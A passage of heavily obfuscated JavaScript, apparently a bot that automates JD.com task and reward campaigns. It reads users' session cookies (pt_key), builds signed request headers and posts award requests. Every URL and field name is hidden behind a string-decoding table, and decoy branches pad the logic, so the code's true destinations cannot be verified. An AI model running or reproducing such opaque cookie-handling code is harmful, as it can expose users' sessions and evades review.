b3c9('496','Tq0]')]);}}}}else{console[_0xb3c9('37','eg1*')](_0xb3c9('497','lVDY')+_0x32f4be[_0xb3c9('498','px$D')]);}}}}}}catch(_0x4aa0bc){$[_0xb3c9('499','54E@')](_0x4aa0bc,_0x30ef48);}finally{_0x50e7cc[_0xb3c9('49a','0XYQ')](_0x461531,_0x32f4be);}}});}});}function awardRun(){var _0xf1888={'TQEcv':function(_0x36c1b8,_0x2ec2eb){return _0x36c1b8==_0x2ec2eb;},'qYvIU':_0xb3c9('49b','D[D@'),'OTcev':function(_0x2d0b2c,_0x4cbbb4){return _0x2d0b2c===_0x4cbbb4;},'YXvFI':_0xb3c9('49c','%YG$'),'RxnPO':_0xb3c9('49d','4&jl'),'JZTXi':function(_0x4fc729,_0x2c44e4){return _0x4fc729===_0x2c44e4;},'VTjym':_0xb3c9('49e','54E@'),'gNgHy':function(_0x1b8bef,_0x291073){return _0x1b8bef!==_0x291073;},'ourBh':_0xb3c9('49f','%YG$'),'hLLDZ':_0xb3c9('4a0','x1NV'),'nQGzb':function(_0x2af415,_0x458334){return _0x2af415(_0x458334);},'jOvOq':function(_0x114f44,_0x297ef7){return _0x114f44===_0x297ef7;},'wwkwE':_0xb3c9('4a1','Tq0]'),'xwYbN':function(_0x1a8cb4,_0x263b9){return _0x1a8cb4===_0x263b9;},'HYhLs':_0xb3c9('4a2','*IUv'),'IpraU':_0xb3c9('4a3','msFj'),'hSitc':_0xb3c9('4a4','BA!&'),'usvGZ':_0xb3c9('4a5','A&sp'),'yClaD':function(_0x490c66,_0x1b092b,_0x515de8){return _0x490c66(_0x1b092b,_0x515de8);},'tHqDY':_0xb3c9('4a6','W%VK'),'suPHu':function(_0x59bcb6,_0x3b7f59){return _0x59bcb6+_0x3b7f59;},'DVPEF':function(_0x15cb9b,_0x44de7e){return _0x15cb9b*_0x44de7e;}};return new Promise(_0x4d6499=>{var _0x356b92={'thoah':_0xf1888[_0xb3c9('4a7','p8(G')],'MsFoD':_0xf1888[_0xb3c9('4a8','UWcU')]};$[_0xb3c9('4a9','XZos')](_0xf1888[_0xb3c9('4aa','pLk9')](taskPostUrl,_0xf1888[_0xb3c9('4ab','D[D@')],_0xb3c9('4ac','XZos')+_0xf1888[_0xb3c9('4ad','7hNk')](Math[_0xb3c9('4ae','D[D@')](_0xf1888[_0xb3c9('4af','W%VK')](Math[_0xb3c9('4b0','UFS%')](),0x1388)),0x4a38)),async(_0x56e69a,_0x5b5ded,_0x274382)=>{var _0x302778={'PWYgZ':function(_0x2427d5,_0x10520c){return _0xf1888[_0xb3c9('4b1','UFS%')](_0x2427d5,_0x10520c);},'OJtQI':_0xf1888[_0xb3c9('4b2','oJ7R')]};try{if(_0xf1888[_0xb3c9('4b3','Us6T')](_0xf1888[_0xb3c9('4b4','lVDY')],_0xf1888[_0xb3c9('4b5','ST6I')])){$[_0xb3c9('4b6','Hi&L')](e,_0x5b5ded);}else{if(_0x56e69a){if(_0xf1888[_0xb3c9('4b7','#5oK')](_0xf1888[_0xb3c9('4b8','7hNk')],_0xf1888[_0xb3c9('4b9','Xorc')])){console[_0xb3c9('16d','msFj')](''+JSON[_0xb3c9('4ba','Us6T')](_0x56e69a));console[_0xb3c9('11e','p8(G')]($[_0xb3c9('4bb','8Yzp')]+_0xb3c9('bd','%YG$'));}else{return!![];}}else{if(_0xf1888[_0xb3c9('4bc','Us6T')](_0xf1888[_0xb3c9('4bd','8Yzp')],_0xf1888[_0xb3c9('4be','[XP5')])){if(_0xf1888[_0xb3c9('4bf','Us6T')](safeGet,_0x274382)){if(_0xf1888[_0xb3c9('4c0','7hNk')](_0xf1888[_0xb3c9('4c1','D[D@')],_0xf1888[_0xb3c9('4c2','eg1*')])){_0x274382=JSON[_0xb3c9('74','54E@')](_0x274382);if(_0xf1888[_0xb3c9('4c3','W%VK')](_0x274382[_0xb3c9('4c4','j]ox')],0xc8)){if(_0xf1888[_0xb3c9('4c5','vGPn')](_0xf1888[_0xb3c9('4c6','8Yzp')],_0xf1888[_0xb3c9('4c7','4&jl')])){if(_0x302778[_0xb3c9('4c8','sgNu')](typeof JSON[_0xb3c9('4c9','KqoH')](_0x274382),_0x302778[_0xb3c9('4ca','#5oK')])){return!![];}}else{$['db']+=_0x274382[_0xb3c9('4cb','O^Ux')][_0xb3c9('4cc','vGPn')];console[_0xb3c9('13','7hNk')](_0xb3c9('4cd','W%VK')+_0x274382[_0xb3c9('4ce','[XP5')][_0xb3c9('3e5','D[D@')]+_0xb3c9('4cf','A)dp'));}}else{console[_0xb3c9('13','7hNk')](_0xb3c9('4d0','eg1*')+_0x274382[_0xb3c9('339','lVDY')]);}}else{console[_0xb3c9('c0','QPLX')](_0xb3c9('4d1','FlxD'));}}}else{$[_0xb3c9('21d','IV4a')](vo[_0x356b92[_0xb3c9('4d2','4&jl')]]+_0xb3c9('4d3','BA!&')+vo[_0x356b92[_0xb3c9('4d4','7hNk')]]+'】');}}}}catch(_0x2156da){$[_0xb3c9('4d5','4&jl')](_0x2156da,_0x5b5ded);}finally{_0xf1888[_0xb3c9('4d6','j]ox')](_0x4d6499,_0x274382);}});});}function accomplishTask(_0x330b2a=0x1f5){var _0x185b55={'PphKB':function(_0x107e9c,_0x9de4a7){return _0x107e9c===_0x9de4a7;},'mjkAR':_0xb3c9('4d7','8Yzp'),'FdQGO':_0xb3c9('4d8','12Q8'),'YQGRL':function(_0x5f20dc,_0x17624b){return _0x5f20dc(_0x17624b);},'Yhuol':function(_0x1e131d,_0x1fb9f0){return _0x1e131d===_0x1fb9f0;},'rcNBZ':function(_0x15cb4c,_0x139fbb){return _0x15cb4c(_0x139fbb);},'wOQlU':function(_0x5e26d5,_0xc7fd86,_0x1c784c){return _0x5e26d5(_0xc7fd86,_0x1c784c);},'EUWlk':_0xb3c9('4d9','Us6T')};return new Promise(_0x104913=>{var _0x1e67c4={'sbvxv':function(_0x1e2132,_0x5375f1){return _0x185b55[_0xb3c9('4da','UWcU')](_0x1e2132,_0x5375f1);},'YYfNL':_0x185b55[_0xb3c9('4db','wR@t')],'SmBTu':_0x185b55[_0xb3c9('4dc','[XP5')],'doJiB':function(_0x7a93a3,_0x143fab){return _0x185b55[_0xb3c9('4dd','54E@')](_0x7a93a3,_0x143fab);},'ZDbPh':function(_0x8ce00c,_0x5b4161){return _0x185b55[_0xb3c9('4de','8^$1')](_0x8ce00c,_0x5b4161);},'KtzZw':function(_0x16bfd0,_0x28eb9c){return _0x185b55[_0xb3c9('4df','D[D@')](_0x16bfd0,_0x28eb9c);}};$[_0xb3c9('4e0','*IUv')](_0x185b55[_0xb3c9('4e1','8^$1')](taskPostUrl,_0x185b55[_0xb3c9('4e2','KqoH')],_0xb3c9('4e3','Tq0]')+_0x330b2a),async(_0xd8ada,_0x3ad2dc,_0x3fda32)=>{if(_0x1e67c4[_0xb3c9('4e4',']q[h')](_0x1e67c4[_0xb3c9('4e5','KqoH')],_0x1e67c4[_0xb3c9('4e6','0XYQ')])){$[_0xb3c9('3f6','sgNu')](e,_0x3ad2dc);}else{try{if(_0xd8ada){console[_0xb3c9('139','8Yzp')](''+JSON[_0xb3c9('2d3','XZos')](_0xd8ada));console[_0xb3c9('2a6','ST6I')]($[_0xb3c9('4e7','x1NV')]+_0xb3c9('4e8','sgNu'));}else{if(_0x1e67c4[_0xb3c9('4e9','Tq0]')](safeGet,_0x3fda32)){_0x3fda32=JSON[_0xb3c9('4ea','Tq0]')](_0x3fda32);if(_0x1e67c4[_0xb3c9('4eb','UWcU')](_0x3fda32[_0xb3c9('4ec','*IUv')],0xc8)){console[_0xb3c9('c5','O^Ux')](_0xb3c9('4ed','msFj'));}else{console[_0xb3c9('11e','p8(G')](_0xb3c9('4ee','sgNu')+_0x3fda32[_0xb3c9('4ef','D[D@')]);}}}}catch(_0x5887d4){$[_0xb3c9('4f0','wR@t')](_0x5887d4,_0x3ad2dc);}finally{_0x1e67c4[_0xb3c9('4f1','x1NV')](_0x104913,_0x3fda32);}}});});}function awardTask(_0x4b6d8f=0x1f5){var _0x7246f0={'WHGsU':function(_0x4a2740,_0x8426a1){return _0x4a2740!==_0x8426a1;},'ZsvaR':_0xb3c9('4f2','A&sp'),'pOcJs':_0xb3c9('4f3','XZos'),'bYvOu':function(_0x58b414,_0x9e64ea){return _0x58b414(_0x9e64ea);},'IBuUj':_0xb3c9('4f4','0XYQ'),'zfFIh':_0xb3c9('4f5','W%VK'),'Futou':function(_0x831928,_0x49dabf){return _0x831928===_0x49dabf;},'SaSli':function(_0x135335,_0x436988){return _0x135335===_0x436988;},'SRZun':_0xb3c9('4f6','eg1*'),'Fxibw':_0xb3c9('4f7','IV4a'),'MHHWX':function(_0x331bcb,_0x5cf311){return _0x331bcb(_0x5cf311);},'jjnET':function(_0x2bb72b,_0x5e04e1,_0x4cc73e){return _0x2bb72b(_0x5e04e1,_0x4cc73e);},'nnIWc':_0xb3c9('4f8','x1NV')};return new Promise(_0x5114ff=>{var _0x24bd21={'MBGxU':function(_0x4c8dbc,_0x53c4bd){return _0x7246f0[_0xb3c9('4f9',']q[h')](_0x4c8dbc,_0x53c4bd);},'ocQIo':_0x7246f0[_0xb3c9('4fa','BA!&')],'aKnHj':_0x7246f0[_0xb3c9('4fb',']q[h')],'wtVVV':function(_0x391612,_0x5f146){return _0x7246f0[_0xb3c9('4fc',']q[h')](_0x391612,_0x5f146);},'PacMn':_0x7246f0[_0xb3c9('4fd','xgMb')],'xKtET':_0x7246f0[_0xb3c9('4fe','A&sp')],'SKXqb':function(_0xc790c6,_0x2a3ac8){return _0x7246f0[_0xb3c9('4ff','ST6I')](_0xc790c6,_0x2a3ac8);},'enDEb':function(_0x558ed0,_0x1df74a){return _0x7246f0[_0xb3c9('500','KqoH')](_0x558ed0,_0x1df74a);},'QwzCb':_0x7246f0[_0xb3c9('501','RRYS')],'GEHUP':_0x7246f0[_0xb3c9('502','8^$1')],'YsKpH':function(_0xba8039,_0x12b7c1){return _0x7246f0[_0xb3c9('503','7hNk')](_0xba8039,_0x12b7c1);}};$[_0xb3c9('504','lVDY')](_0x7246f0[_0xb3c9('505','ST6I')](taskPostUrl,_0x7246f0[_0xb3c9('506','7hNk')],_0xb3c9('507','4&jl')+_0x4b6d8f),async(_0x376672,_0x5a3151,_0x370043)=>{if(_0x24bd21[_0xb3c9('508',']q[h')](_0x24bd21[_0xb3c9('509','54E@')],_0x24bd21[_0xb3c9('50a','eAka')])){try{if(_0x376672){console[_0xb3c9('84','x1NV')](''+JSON[_0xb3c9('50b','j]ox')](_0x376672));console[_0xb3c9('16d','msFj')]($[_0xb3c9('129','UFS%')]+_0xb3c9('50c','x1NV'));}else{if(_0x24bd21[_0xb3c9('50d','Tq0]')](safeGet,_0x370043)){if(_0x24bd21[_0xb3c9('50e','UWcU')](_0x24bd21[_0xb3c9('50f','ST6I')],_0x24bd21[_0xb3c9('510','px$D')])){_0x370043=JSON[_0xb3c9('2d6','oJ7R')](_0x370043);if(_0x24bd21[_0xb3c9('511','kKc[')](_0x370043[_0xb3c9('36d','wR@t')],0xc8)){$['db']+=_0x370043[_0xb3c9('104','USUq')][_0xb3c9('512','56Y[')];console[_0xb3c9('93','54E@')](_0xb3c9('513','oJ7R')+_0x370043[_0xb3c9('309','KqoH')][_0xb3c9('514','msFj')]+_0xb3c9('515','QPLX'));}else{if(_0x24bd21[_0xb3c9('516','#5oK')](_0x24bd21[_0xb3c9('517','xgMb')],_0x24bd21[_0xb3c9('518','UWcU')])){console[_0xb3c9('519','Tq0]')](''+JSON[_0xb3c9('51a','wR@t')](_0x376672));console[_0xb3c9('93','54E@')]($[_0xb3c9('336','Xorc')]+_0xb3c9('fe','W%VK'));}else{console[_0xb3c9('28b','Xorc')](_0xb3c9('51b','QPLX')+_0x370043[_0xb3c9('31a','BA!&')]);}}}else{_0x370043=JSON[_0xb3c9('51c','D[D@')](_0x370043);console[_0xb3c9('51d','*IUv')](_0x370043[_0xb3c9('36b','bu#e')]);}}}}catch(_0x47547d){$[_0xb3c9('373','vGPn')](_0x47547d,_0x5a3151);}finally{_0x24bd21[_0xb3c9('51e','pLk9')](_0x5114ff,_0x370043);}}else{console[_0xb3c9('3e6','D[D@')](_0xb3c9('51f','bu#e')+_0x370043[_0xb3c9('520','W%VK')][_0xb3c9('521','A)dp')][_0xb3c9('522','W%VK')](/,/g,''));}});});}function getMyWinningInformation(){var _0x1a8f91={'vFJPJ':function(_0x21a8fe,_0x36c037){return _0x21a8fe!==_0x36c037;},'JBWWz':_0xb3c9('523','0XYQ'),'ibbZr':function(_0x242b5f,_0x411703){return _0x242b5f===_0x411703;},'zYchN':_0xb3c9('524','#5oK'),'OlmSb':function(_0x1e3ff6,_0x2fe720){return _0x1e3ff6(_0x2fe720);},'Tnadz':_0xb3c9('421','XZos'),'QTJtt':_0xb3c9('da','56Y['),'lZvjg':_0xb3c9('525','*IUv'),'PECQq':_0xb3c9('526','eAka'),'oEysu':function(_0x4277f7,_0x234464){return _0x4277f7!==_0x234464;},'PSvzo':_0xb3c9('527','QPLX'),'ncyvE':_0xb3c9('528','O^Ux'),'mHKOs':_0xb3c9('529','UFS%'),'uDwkL':function(_0x115928){return _0x115928();},'shvGd':function(_0x86e141,_0x1db3b9){return _0x86e141(_0x1db3b9);},'rIhhV':_0xb3c9('52a','IV4a')};$[_0xb3c9('52b','p8(G')]=[];return new Promise(_0x5d6c3b=>{var _0x2962a7={'MqmGs':function(_0x39818c,_0x577a38){return _0x1a8f91[_0xb3c9('52c','px$D')](_0x39818c,_0x577a38);}};$[_0xb3c9('52d','8Yzp')](_0x1a8f91[_0xb3c9('52e','*IUv')](taskUrl,_0x1a8f91[_0xb3c9('52f','BA!&')]),async(_0xaccb99,_0x59e9bd,_0x189d20)=>{if(_0x1a8f91[_0xb3c9('530','ST6I')](_0x1a8f91[_0xb3c9('531','lVDY')],_0x1a8f91[_0xb3c9('532','eg1*')])){console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('533','xgMb')](_0xaccb99));console[_0xb3c9('534','kKc[')]($[_0xb3c9('134','UWcU')]+_0xb3c9('41a','54E@'));}else{try{if(_0x1a8f91[_0xb3c9('535','UFS%')](_0x1a8f91[_0xb3c9('536','*IUv')],_0x1a8f91[_0xb3c9('537',']q[h')])){if(_0xaccb99){console[_0xb3c9('a1','Us6T')](''+JSON[_0xb3c9('132','[XP5')](_0xaccb99));console[_0xb3c9('c5','O^Ux')]($[_0xb3c9('538','W%VK')]+_0xb3c9('539','SI8%'));}else{if(_0x1a8f91[_0xb3c9('53a','sgNu')](safeGet,_0x189d20)){_0x189d20=JSON[_0xb3c9('53b','0XYQ')](_0x189d20);if(_0x1a8f91[_0xb3c9('53c','j]ox')](_0x189d20[_0x1a8f91[_0xb3c9('53d','ST6I')]],0xc8)){$[_0xb3c9('53e','BA!&')]=_0x189d20[_0x1a8f91[_0xb3c9('53f','px$D')]];for(let _0x2cbaf8 of $[_0xb3c9('540','#5oK')]){$[_0xb3c9('11e','p8(G')](_0x2cbaf8[_0x1a8f91[_0xb3c9('541','j]ox')]]+_0xb3c9('542','W%VK')+_0x2cbaf8[_0x1a8f91[_0xb3c9('543','j]ox')]]+'】');}$[_0xb3c9('544','sgNu')]=$[_0xb3c9('545','O^Ux')][_0xb3c9('546','A&sp')](_0xf84dfe=>!!_0xf84dfe&&(_0xf84dfe[_0xb3c9('547','8Yzp')][_0xb3c9('548','UFS%')](0x0,0x6)===timeFormat()||_0xf84dfe[_0xb3c9('549','12Q8')][_0xb3c9('54a','RRYS')](0x0,0x6)===timeFormat(Date[_0xb3c9('54b','RRYS')]()-0x18*0x3c*0x3c*0x3e8)));$[_0xb3c9('54c','54E@')]=$[_0xb3c9('52b','p8(G')][_0xb3c9('54d','Hi&L')](_0xc89af=>!!_0xc89af&&!_0xc89af[_0xb3c9('54e','A)dp')][_0xb3c9('54f','W%VK')]('京豆'));if($[_0xb3c9('550','x1NV')]&&$[_0xb3c9('551','pLk9')][_0xb3c9('3a','pLk9')]){if(_0x1a8f91[_0xb3c9('552','lVDY')](_0x1a8f91[_0xb3c9('553','USUq')],_0x1a8f91[_0xb3c9('554','56Y[')])){for(let _0x375723 of $[_0xb3c9('555','RRYS')]){if(_0x1a8f91[_0xb3c9('556','W%VK')](_0x1a8f91[_0xb3c9('557','XZos')],_0x1a8f91[_0xb3c9('558','RRYS')])){$['db']+=_0x189d20[_0xb3c9('559','Xorc')][_0xb3c9('4cc','vGPn')];console[_0xb3c9('2e0','bu#e')](_0xb3c9('55a','oJ7R')+_0x189d20[_0xb3c9('1ce','Hi&L')][_0xb3c9('4cc','vGPn')]+_0xb3c9('55b','8Yzp'));}else{message+=_0x375723[_0x1a8f91[_0xb3c9('55c','Hi&L')]]+_0xb3c9('55d','px$D')+_0x375723[_0x1a8f91[_0xb3c9('55e','O^Ux')]]+'】\x0a';}}allMessage+=_0xb3c9('16e','%YG$')+$[_0xb3c9('55f','W%VK')]+$[_0xb3c9('560','#5oK')]+'\x0a'+message+(_0x1a8f91[_0xb3c9('561','56Y[')]($[_0xb3c9('562','Us6T')],cookiesArr[_0xb3c9('563','8Yzp')])?'\x0a\x0a':'');}else{_0x2962a7[_0xb3c9('564','#5oK')](_0x5d6c3b,_0x189d20);}}}}}}else{console[_0xb3c9('35','px$D')](_0xb3c9('565','eAka'));}}catch(_0x1ba920){$[_0xb3c9('566','eAka')](_0x1ba920,_0x59e9bd);}finally{_0x1a8f91[_0xb3c9('567','[XP5')](_0x5d6c3b);}}});});}function timeFormat(_0x3662b6){var _0x29b5b9={'peSGg':_0xb3c9('568','p8(G'),'hGxIH':_0xb3c9('569','UFS%'),'wRSlp':function(_0x2735f9,_0x5a32ae){return _0x2735f9(_0x5a32ae);},'wZlaK':_0xb3c9('56a','Us6T'),'zcvxV':function(_0x56b136,_0x3ab212){return _0x56b136!==_0x3ab212;},'IHXuQ':_0xb3c9('56b','vGPn'),'bYHqX':function(_0x6f462d,_0x364cfe){return _0x6f462d===_0x364cfe;},'GgQOq':_0xb3c9('56c','[XP5'),'SxSPr':function(_0x575545,_0x3de875){return _0x575545+_0x3de875;},'VpDFE':function(_0x4ed26e,_0x28bc8a){return _0x4ed26e+_0x28bc8a;},'zVYoC':function(_0x5687d3,_0x58e210){return _0x5687d3>=_0x58e210;},'LpoXN':function(_0x10a0e6,_0x400e8a){return _0x10a0e6+_0x400e8a;},'nRJoJ':function(_0x5c0c01,_0x34bd5d){return _0x5c0c01+_0x34bd5d;},'owTpB':function(_0xfb7862,_0x1ceafb){return _0xfb7862>=_0x1ceafb;},'PdGJM':function(_0x3f4a14,_0x3c200a){return _0x3f4a14+_0x3c200a;}};let _0x4a68d1;if(_0x3662b6){if(_0x29b5b9[_0xb3c9('56d','Hi&L')](_0x29b5b9[_0xb3c9('56e','USUq')],_0x29b5b9[_0xb3c9('56f','bu#e')])){cookiesArr=[$[_0xb3c9('570','12Q8')](_0x29b5b9[_0xb3c9('571','SI8%')]),$[_0xb3c9('572','Xorc')](_0x29b5b9[_0xb3c9('573','Tq0]')]),..._0x29b5b9[_0xb3c9('574','vGPn')](jsonParse,$[_0xb3c9('575','A)dp')](_0x29b5b9[_0xb3c9('576','0XYQ')])||'[]')[_0xb3c9('577','QPLX')](_0x229f5d=>_0x229f5d[_0xb3c9('578','D[D@')])][_0xb3c9('579','12Q8')](_0x1c9ae9=>!!_0x1c9ae9);}else{_0x4a68d1=new Date(_0x3662b6);}}else{if(_0x29b5b9[_0xb3c9('57a','A&sp')](_0x29b5b9[_0xb3c9('57b','eg1*')],_0x29b5b9[_0xb3c9('57c','eAka')])){_0x4a68d1=new Date();}else{$['db']+=data[_0xb3c9('57d','%YG$')][_0xb3c9('57e','A)dp')];console[_0xb3c9('3e6','D[D@')](_0xb3c9('57f','O^Ux')+data[_0xb3c9('580','lVDY')][_0xb3c9('581','oJ7R')]+_0xb3c9('582','sgNu'));}}return _0x29b5b9[_0xb3c9('583','xgMb')](_0x29b5b9[_0xb3c9('584','xgMb')](_0x29b5b9[_0xb3c9('585','A)dp')](_0x29b5b9[_0xb3c9('586','8^$1')](_0x29b5b9[_0xb3c9('587','D[D@')](_0x4a68d1[_0xb3c9('588','BA!&')](),0x1),0xa)?_0x29b5b9[_0xb3c9('589','W%VK')](_0x4a68d1[_0xb3c9('275','8Yzp')](),0x1):_0x29b5b9[_0xb3c9('58a','%YG$')]('0',_0x29b5b9[_0xb3c9('58b','UFS%')](_0x4a68d1[_0xb3c9('58c','KqoH')](),0x1)),'月'),_0x29b5b9[_0xb3c9('58d','FlxD')](_0x4a68d1[_0xb3c9('58e','QPLX')](),0xa)?_0x4a68d1[_0xb3c9('58f','wR@t')]():_0x29b5b9[_0xb3c9('590','px$D')]('0',_0x4a68d1[_0xb3c9('591','A&sp')]())),'日');}function taskPostUrl(_0x5318b4,_0x58ab28){var _0x38297f={'dsrJl':function(_0x2c6ef1,_0x3c2e1d){return _0x2c6ef1+_0x3c2e1d;},'TokZj':function(_0x445988,_0x463b4c){return _0x445988+_0x463b4c;},'VMfRo':_0xb3c9('592','j]ox'),'tpoCo':_0xb3c9('593','A)dp'),'tthhJ':_0xb3c9('594','sgNu'),'XBjwY':_0xb3c9('595','bu#e'),'RalZh':_0xb3c9('596','QPLX'),'YZMRc':_0xb3c9('597','j]ox')};if(!cookie[_0xb3c9('47','sgNu')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('11e','p8(G')](_0xb3c9('598','SI8%'));let _0x593004=cookie[_0xb3c9('234','8^$1')](/pt_key=([^; ]+)(?=;?)/)[0x1];let _0x990c30=(+new Date())[_0xb3c9('599','IV4a')]();let _0x3975b4=$[_0xb3c9('59a','oJ7R')](_0x38297f[_0xb3c9('59b','bu#e')](_0x38297f[_0xb3c9('59c','pLk9')](_0x38297f[_0xb3c9('59d','Tq0]')](_0x593004,_0x38297f[_0xb3c9('59e','x1NV')]),_0x5318b4),_0x990c30));return{'url':''+JD_API_HOST+_0x5318b4,'body':_0x58ab28,'headers':{'Host':_0x38297f[_0xb3c9('59f','FlxD')],'pt-key':_0x593004,'Accept':_0x38297f[_0xb3c9('5a0','msFj')],'time':_0x990c30[_0xb3c9('5a1','vGPn')](),'source':'1','Referer':_0x38297f[_0xb3c9('5a2','wR@t')],'Content-Type':_0x38297f[_0xb3c9('5a3','8Yzp')],'sig':_0x3975b4,'User-Agent':_0x38297f[_0xb3c9('5a4','SI8%')]}};}function taskUrl(_0x49b047){var _0x6c71c9={'ohEmS':function(_0x3121c5,_0x1e6996){return _0x3121c5+_0x1e6996;},'NpzOe':_0xb3c9('5a5','*IUv'),'noNaJ':_0xb3c9('5a6','XZos'),'RPoXP':_0xb3c9('5a7','Tq0]'),'SdlTc':_0xb3c9('5a8','Us6T'),'UfkfD':_0xb3c9('5a9','Hi&L'),'ZHLRT':_0xb3c9('5aa','px$D')};if(!cookie[_0xb3c9('5ab','vGPn')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('f7','BA!&')](_0xb3c9('233','Hi&L'));let _0x141bc0=cookie[_0xb3c9('5ac','x1NV')](/pt_key=([^; ]+)(?=;?)/)[0x1];let _0x3ed981=(+new Date())[_0xb3c9('235','Xorc')]();let _0x7d293d=$[_0xb3c9('5ad','lVDY')](_0x6c71c9[_0xb3c9('5ae','j]ox')](_0x6c71c9[_0xb3c9('5af','D[D@')](_0x6c71c9[_0xb3c9('5b0','QPLX')](_0x141bc0,_0x6c71c9[_0xb3c9('5b1',']q[h')]),_0x49b047),_0x3ed981));return{'url':''+JD_API_HOST+_0x49b047,'headers':{'Host':_0x6c71c9[_0xb3c9('5b2','SI8%')],'pt-key':_0x141bc0,'Accept':_0x6c71c9[_0xb3c9('5b3','Xorc')],'time':_0x3ed981[_0xb3c9('5b4','wR@t')](),'source':'1','Referer':_0x6c71c9[_0xb3c9('5b5','*IUv')],'Content-Type':_0x6c71c9[_0xb3c9('5b6','Hi&L')],'sig':_0x7d293d,'User-Agent':_0x6c71c9[_0xb3c9('5b7','wR@t')]}};}function TotalBean(){var _0x4c7571={'Grfxy':function(_0x4d7405,_0xd1ba24){return _0x4d7405(_0xd1ba24);},'zRttE':function(_0x117222,_0x10ff99){return _0x117222===_0x10ff99;},'uPOAM':function(_0x449800,_0x3e94bb){return _0x449800!==_0x3e94bb;},'ZkOna':_0xb3c9('5b8','%YG$'),'dqLNj':function(_0x5af69b,_0x3e329b){return _0x5af69b===_0x3e329b;},'PbQsY':_0xb3c9('5b9','QPLX'),'leaXs':_0xb3c9('5ba','eAka'),'JUjno':_0xb3c9('5bb','D[D@'),'bQqpU':_0xb3c9('5bc','Tq0]'),'MeJap':_0xb3c9('5bd','bu#e'),'wXneG':_0xb3c9('5be','Hi&L'),'QaijO':_0xb3c9('5bf','oJ7R'),'edewg':_0xb3c9('5c0','UFS%'),'VjGJh':_0xb3c9('5c1','SI8%'),'pVZVK':function(_0x3cd734){return _0x3cd734();},'NwDKD':_0xb3c9('5c2','msFj'),'rVsKQ':_0xb3c9('5c3','eg1*'),'YGlTA':_0xb3c9('5c4','D[D@'),'ygDPQ':_0xb3c9('5c5','vGPn'),'aShXn':_0xb3c9('5c6','8Yzp'),'BUlHN':_0xb3c9('5c7','D[D@'),'GXflR':_0xb3c9('5c8','*IUv'),'juFRh':_0xb3c9('5c9','0XYQ'),'RWDUI':_0xb3c9('5ca','x1NV')};return new Promise(async _0x35fcf9=>{var _0x44080f={'HnyaZ':function(_0xa6bc96,_0x243fb9){return _0x4c7571[_0xb3c9('5cb','bu#e')](_0xa6bc96,_0x243fb9);},'NMnLq':function(_0x44a294,_0xe87234){return _0x4c7571[_0xb3c9('5cc','IV4a')](_0x44a294,_0xe87234);},'Bbxjp':function(_0x3c7acd,_0x3482f0){return _0x4c7571[_0xb3c9('5cd','O^Ux')](_0x3c7acd,_0x3482f0);},'aIVVX':_0x4c7571[_0xb3c9('5ce','pLk9')],'PvirI':function(_0xacd1a,_0xd3507a){return _0x4c7571[_0xb3c9('5cf','vGPn')](_0xacd1a,_0xd3507a);},'SYyqu':_0x4c7571[_0xb3c9('5d0','vGPn')],'XzTLo':_0x4c7571[_0xb3c9('5d1','Us6T')],'nikoO':function(_0x593e85,_0x3694dd){return _0x4c7571[_0xb3c9('5d2','BA!&')](_0x593e85,_0x3694dd);},'cfjKF':_0x4c7571[_0xb3c9('5d3','*IUv')],'IFbTD':function(_0x4eb06d,_0x8cd742){return _0x4c7571[_0xb3c9('5d4','xgMb')](_0x4eb06d,_0x8cd742);},'RSMWg':_0x4c7571[_0xb3c9('5d5','#5oK')],'cNogN':_0x4c7571[_0xb3c9('5d6','oJ7R')],'GxIvK':_0x4c7571[_0xb3c9('5d7','UWcU')],'zlUuo':_0x4c7571[_0xb3c9('5d8','msFj')],'nebBZ':_0x4c7571[_0xb3c9('5d9','xgMb')],'tXviJ':function(_0x32a1b9,_0x32bbea){return _0x4c7571[_0xb3c9('5da','56Y[')](_0x32a1b9,_0x32bbea);},'aSaAV':_0x4c7571[_0xb3c9('5db','xgMb')],'yenBQ':function(_0x4735e){return _0x4c7571[_0xb3c9('5dc','QPLX')](_0x4735e);}};const _0x385ba1={'url':_0xb3c9('5dd','0XYQ'),'headers':{'Accept':_0x4c7571[_0xb3c9('5de','D[D@')],'Content-Type':_0x4c7571[_0xb3c9('5df','xgMb')],'Accept-Encoding':_0x4c7571[_0xb3c9('5e0',']q[h')],'Accept-Language':_0x4c7571[_0xb3c9('5e1','eAka')],'Connection':_0x4c7571[_0xb3c9('5e2','8Yzp')],'Cookie':cookie,'Referer':_0x4c7571[_0xb3c9('5e3',']q[h')],'User-Agent':$[_0xb3c9('5e4','ST6I')]()?process[_0xb3c9('5e5','*IUv')][_0xb3c9('5e6','Us6T')]?process[_0xb3c9('5e7','RRYS')][_0xb3c9('5e8','Xorc')]:_0x4c7571[_0xb3c9('5e9','sgNu')](require,_0x4c7571[_0xb3c9('5ea','A&sp')])[_0xb3c9('5eb','RRYS')]:$[_0xb3c9('5ec','XZos')](_0x4c7571[_0xb3c9('5ed','p8(G')])?$[_0xb3c9('5ee','RRYS')](_0x4c7571[_0xb3c9('5ef','*IUv')]):_0x4c7571[_0xb3c9('5f0','eg1*')]}};$[_0xb3c9('5f1','FlxD')](_0x385ba1,(_0x40eb44,_0x379cf3,_0x4825c0)=>{var _0x2cd191={'jXWQS':function(_0x2ef392,_0xe83111){return _0x44080f[_0xb3c9('5f2','x1NV')](_0x2ef392,_0xe83111);},'MJUqs':function(_0x10e182,_0x5aac6a){return _0x44080f[_0xb3c9('5f3','pLk9')](_0x10e182,_0x5aac6a);}};if(_0x44080f[_0xb3c9('5f4','8Yzp')](_0x44080f[_0xb3c9('5f5','A)dp')],_0x44080f[_0xb3c9('5f6','W%VK')])){console[_0xb3c9('5f7','FlxD')](''+JSON[_0xb3c9('5f8','eAka')](_0x40eb44));console[_0xb3c9('51d','*IUv')]($[_0xb3c9('6c','xgMb')]+_0xb3c9('5f9','XZos'));}else{try{if(_0x40eb44){if(_0x44080f[_0xb3c9('5fa','A&sp')](_0x44080f[_0xb3c9('5fb','54E@')],_0x44080f[_0xb3c9('5fc','UFS%')])){$[_0xb3c9('5fd','A)dp')](e,_0x379cf3);}else{console[_0xb3c9('35','px$D')](''+JSON[_0xb3c9('5fe','A&sp')](_0x40eb44));console[_0xb3c9('28d','xgMb')]($[_0xb3c9('336','Xorc')]+_0xb3c9('5ff','KqoH'));}}else{if(_0x4825c0){_0x4825c0=JSON[_0xb3c9('600','A&sp')](_0x4825c0);if(_0x44080f[_0xb3c9('601','px$D')](_0x4825c0[_0x44080f[_0xb3c9('602','BA!&')]],0xd)){if(_0x44080f[_0xb3c9('603','xgMb')](_0